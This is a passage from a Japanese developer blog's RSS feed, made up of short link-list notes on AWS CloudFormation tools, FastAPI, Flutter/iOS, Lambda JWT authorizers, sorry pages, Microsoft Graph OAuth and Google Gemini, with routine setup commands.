&lt;li&gt;&lt;a href="https://github.com/cloudtools/troposphere"&gt;https://github.com/cloudtools/troposphere&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/kooohei/items/17f6fa6facacfd0201b6"&gt;troposphere で CloudFormation のテンプレートを作成する。&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="former2"&gt;former2&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/iann0036/former2"&gt;https://github.com/iann0036/former2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/y_inoue15/items/26c245c9e9fdf42c75a4"&gt;Former2 から CloudFormation を生成してみた&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;インストール:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/iann0036/former2.git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo /Applications/Docker.app/Contents/MacOS/install remove-vmnetd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo /Applications/Docker.app/Contents/MacOS/install vmnetd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker-compose up -d
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>FastAPI</title><link>https://hdknr.github.io/blogs/posts/2024/06/fastapi/</link><pubDate>Mon, 24 Jun 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/06/fastapi/</guid><description>&lt;h1 id="fastapi"&gt;FastAPI&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/sh0nk/books/537bb028709ab9"&gt;FastAPI入門&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/abek21/items/7739163085899b257cb8"&gt;FastAPI を用いた API 開発テンプレート&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/Ryo-0131/items/1d1df96aca61d1873de8"&gt;【FastAPI】Uvicorn と Gunicorn、WSGI と ASGI、ワーカープロセスについて実施コマンドと共に解説&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/hypercorn_fastapi/"&gt;Hypercorn+FastAPI のコンテナイメージを作成してみる&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="hypercorn"&gt;Hypercorn&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.djangoproject.com/ja/5.0/howto/deployment/asgi/hypercorn/"&gt;Django を Hypercorn とともに使う&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/abhijithganesh/how-to-deploy-any-python-web-application-1707"&gt;How to deploy any Python Web Application?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/kingo_takatsuki/scraps/80b57717e5e6ae"&gt;FastAPI を始める時のメモ（ボツ）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pgjones.dev/blog/http-1-2-3-2019/"&gt;How to serve HTTP 1, 2, and 3 in Python&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;poetry add fastapi hypercorn quart
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="filters"&gt;filters&lt;/h2&gt;
&lt;p&gt;fastapi-filters:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pypi.org/project/fastapi-filters/"&gt;https://pypi.org/project/fastapi-filters/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://fastapi-filter.netlify.app/"&gt;https://fastapi-filter.netlify.app/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/arthurio/fastapi-filter/tree/main"&gt;https://github.com/arthurio/fastapi-filter/tree/main&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;その他:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pypi.org/project/fastapi-query-tools/"&gt;https://pypi.org/project/fastapi-query-tools/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="モデルマッパー"&gt;モデルマッパー&lt;/h2&gt;
&lt;h3 id="sqlmodel"&gt;SQLModel(&lt;a href="https://sqlmodel.tiangolo.com/"&gt;https://sqlmodel.tiangolo.com/&lt;/a&gt;)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tobydevlin.com/blog/database-migration-with-sqlmodel-and-alembic"&gt;Database Migrations with sqlmodel and alembic&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/hara-st/items/0b5f3583f553fecb433d"&gt;FastAPI + SQLModel を使った簡単API開発をやってみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://note.com/kiyo_ai_note/n/n7b2fbe8629c8"&gt;Pythonライブラリ(SQL)：SQLModel（応用編-FastAPI)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://note.com/kiyo_ai_note/n/n7f575d88ea2b"&gt;Pythonライブラリ(SQL)：SQLModel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/keita_f/articles/6e1323fe023fa1"&gt;Alembicでマイグレーション（FastAPI+SQLModel）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/sand/items/f338e67e86d728f793c2"&gt;FastAPI SQLModel 入門&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Joichiro433/Blog-fastapi-todo/tree/main"&gt;https://github.com/Joichiro433/Blog-fastapi-todo/tree/main&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>flutter/ios</title><link>https://hdknr.github.io/blogs/posts/2024/06/flutter/ios/</link><pubDate>Tue, 18 Jun 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/06/flutter/ios/</guid><description>&lt;h1 id="flutterios"&gt;Flutter/iOS&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/temoki/items/fc3b62bc088f96184f8f"&gt;iOS でホーム画面に表示されるアプリ名はどこで決まるのか？変更するには？&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/kasa_le/items/fed9f25b92091bd162ce"&gt;Flutter アプリを iOS 版ビルドに必要な手順のまとめ(debug/release)と TestFlight に上げるまで&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/blendthink/articles/392607db0a65dd"&gt;Flutter の環境分けの新時代&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/flutter/flutter/pull/124533"&gt;Allow .xcworkspace and .xcodeproj to be renamed from default name &amp;lsquo;Runner&amp;rsquo; #124533&lt;/a&gt; (Runner から名称の変更)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="product_name"&gt;&lt;code&gt;$PRODUCT_NAME&lt;/code&gt;&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;PRODUCT_NAME&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;$(TARGET_NAME)&amp;#34;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>JWT in AWS Lambda</title><link>https://hdknr.github.io/blogs/posts/2024/06/jwt-in-aws-lambda/</link><pubDate>Tue, 18 Jun 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/06/jwt-in-aws-lambda/</guid><description>&lt;h1 id="jwt-in-aws-lambda"&gt;JWT in AWS Lambda&lt;/h1&gt;
&lt;h2 id="api-gateway-"&gt;API Gateway-&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://gist.github.com/bendog/44f21a921f3e4282c631a96051718619"&gt;https://gist.github.com/bendog/44f21a921f3e4282c631a96051718619&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://docs.aws.amazon.com/apigateway/latest/developerguide/http-api-jwt-authorizer.html"&gt;Controlling access to HTTP APIs with JWT authorizers&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://docs.aws.amazon.com/ja_jp/apigateway/latest/developerguide/http-api-jwt-authorizer.html"&gt;JWT オーソライザーを使用した HTTP API へのアクセスの制御&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://qiita.com/asw_hoggge/items/2e967b7daf93928975c1"&gt;API Gateway の JWT オーソライザーで Google ID トークンを検証してみた&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://qiita.com/KWS_0901/items/9b37712ed4bff75e1d4f"&gt;API Gateway JWT Authorizer メモ&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://qiita.com/tamura_CD/items/46ba8a2f3bfd5484843f"&gt;API Gateway + Lambda で REST API 開発を体験しよう [10 分で完成編]&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://blog.serverworks.co.jp/gen-ai-aws-lambda-streaming"&gt;【生成 AI】AWS Lambda(Python) と LangChain(LCEL) を使ってストリーミング出力したい&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://github.com/aws-samples/bedrock-claude-chat"&gt;https://github.com/aws-samples/bedrock-claude-chat&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://zenn.dev/koji_mats/articles/d7dae894845f4e"&gt;slack と AWS で LLM Chatbot を Serverless で運用する&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="lambda-コンテナ"&gt;Lambda コンテナ&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/ja_jp/lambda/latest/dg/images-create.html"&gt;Lambda のコンテナイメージを使用する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/ja_jp/lambda/latest/dg/images-test.html"&gt;Lambda コンテナイメージをローカルでテストする&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/ja_jp/lambda/latest/dg/python-image.html#python-image-instructions"&gt;コンテナイメージで Python Lambda 関数をデプロイする&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/kyamamoto9120/items/f1cda89ffc7cb5254f17"&gt;コンテナイメージを使用して AWS Lambda 関数を作成する&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>pandas</title><link>https://hdknr.github.io/blogs/posts/2024/06/pandas/</link><pubDate>Tue, 18 Jun 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/06/pandas/</guid><description>&lt;h1 id="pandas"&gt;Pandas&lt;/h1&gt;
&lt;h2 id="連番"&gt;連番&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/toromo/items/816053dd8eb6520e7dd7"&gt;pandas でインデックスとは別のカラムに連番を振る&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>pgsql</title><link>https://hdknr.github.io/blogs/posts/2024/06/pgsql/</link><pubDate>Tue, 18 Jun 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/06/pgsql/</guid><description>&lt;h1 id="postgresql"&gt;PostgreSQL&lt;/h1&gt;
&lt;p&gt;Ubunt:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install -y postgresql-client
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Sorry Page</title><link>https://hdknr.github.io/blogs/posts/2024/06/sorry-page/</link><pubDate>Tue, 11 Jun 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/06/sorry-page/</guid><description>&lt;h1 id="sorry-page-運用"&gt;Sorry Page 運用&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.serverworks.co.jp/tech/2019/02/28/alb-sorrypage/"&gt;ALB で Sorry ページを実装する方法と運用上の考慮点&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.orinbou.info/entry/2024/02/25/175210"&gt;AWS Sorry Page 定番パターン整理（ソーリーページ／メンテナンスページ）&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="cloudfront-オリジンフェイルオーバー"&gt;CloudFront オリジンフェイルオーバー&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;CloudFront のオリジンフェイルオーバーでオリジンとの接続タイムアウトやオリジン側で発生したエラーコード（5XX 系）をセカンダリのオリジン（ソーリーページ）へ自動的に遷移させます。&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.denet.co.jp/cloudfront-sorrypage/"&gt;CloudFront でオリジン障害時に Sorry ページを表示したい&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="エラーページ作成ssg"&gt;エラーページ作成(SSG)&lt;/h2&gt;
&lt;p&gt;Peclican で ファイル名をスラグ化させない:&lt;/p&gt;
&lt;p&gt;pelicanconf.py:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PATH_METADATA &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;r&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;(?P&amp;lt;path_no_ext&amp;gt;.*)\..*&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ARTICLE_URL &lt;span style="color:#f92672"&gt;=&lt;/span&gt; ARTICLE_SAVE_AS &lt;span style="color:#f92672"&gt;=&lt;/span&gt; PAGE_URL &lt;span style="color:#f92672"&gt;=&lt;/span&gt; PAGE_SAVE_AS &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{path_no_ext}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;.html&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Ruff[object Object]</title><link>https://hdknr.github.io/blogs/posts/2024/06/ruffobject-object/</link><pubDate>Thu, 06 Jun 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/06/ruffobject-object/</guid><description>&lt;h1 id="ruff"&gt;Ruff&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.astral.sh/ruff/rules/"&gt;https://docs.astral.sh/ruff/rules/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gihyo.jp/article/2023/03/monthly-python-2303"&gt;新しい静的コード解析ツール「Ruff」をご紹介&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>MS Graph</title><link>https://hdknr.github.io/blogs/posts/2024/06/ms-graph/</link><pubDate>Sun, 02 Jun 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/06/ms-graph/</guid><description>&lt;h1 id="micsoft-graph"&gt;Micsoft Graph&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/kenakamu/items/6a1ca508dc093779eefa"&gt;Microsoft Graph を使ってみよう : 目次&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/hidehito108/items/35e7f8c5144efabd3a8a"&gt;Microsoft Graph を 標準 Java で使う&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="oauth2"&gt;OAuth2&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;client_credtials&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -d &lt;span style="color:#e6db74"&gt;&amp;#34;client_id=クライアントID&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -d &lt;span style="color:#e6db74"&gt;&amp;#34;scope=https%3A%2F%2Fgraph.microsoft.com%2F.default&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -d &lt;span style="color:#e6db74"&gt;&amp;#34;client_secret=クライアントシークレット&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -d &lt;span style="color:#e6db74"&gt;&amp;#34;grant_type=client_credentials&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -H &lt;span style="color:#e6db74"&gt;&amp;#34;Content-Type: application/x-www-form-urlencoded&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -X POST https://login.microsoftonline.com/テナントID/oauth2/v2.0/token
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;authorization code&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/kazama1209/items/7d9118fe74a15ddd1769"&gt;Microsoft Graph API を Ruby で操作してみる&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>NoCode: Web制作</title><link>https://hdknr.github.io/blogs/posts/2024/05/nocode-web%E5%88%B6%E4%BD%9C/</link><pubDate>Tue, 28 May 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/05/nocode-web%E5%88%B6%E4%BD%9C/</guid><description>&lt;h1 id="nocode-web-制作"&gt;NoCode: Web 制作&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.fpb-japan.com/post/no-code#viewer-akh47"&gt;【2023 年最新】ノーコード WEB 制作の使い分け完全ガイド｜ Wix・Editor X・STUDIO・Webflow 各種ツールの特徴・機能・選び方&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Product:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ja.wix.com/"&gt;Wix&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Editor X -&amp;gt; Wix Studio&lt;/li&gt;
&lt;li&gt;&lt;a href="https://studio.design/ja"&gt;STUDIO&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://webflow.com/"&gt;Webflow&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="webflow"&gt;Webflow&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.funwork2020.com/post/about-webflow"&gt;最強のサイト制作ノーコードツール『Webflow』とは？ - メリットについて数字を交えてご紹介 -&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.likepay.jp/blog/posts/what-is-webflow"&gt;Webflow とは？ノーコードツールの中で最も人気がある理由は？&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Google Gemini</title><link>https://hdknr.github.io/blogs/posts/2024/05/google-gemini/</link><pubDate>Fri, 17 May 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/05/google-gemini/</guid><description>&lt;h1 id="google-gemini"&gt;Google Gemini&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;旧 Bard&lt;/li&gt;
&lt;li&gt;Google AI Studio からアクセス&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="モデル"&gt;モデル&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Gemini Ultra&lt;/li&gt;
&lt;li&gt;Gemini Pro&lt;/li&gt;
&lt;li&gt;Gemini Nano&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="トークン"&gt;トークン&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Gemini (1M), Claude3(200k), GPT4(128K)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="マルチモーダル"&gt;マルチモーダル&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;テキスト&lt;/li&gt;
&lt;li&gt;ビデオ&lt;/li&gt;
&lt;li&gt;音声&lt;/li&gt;
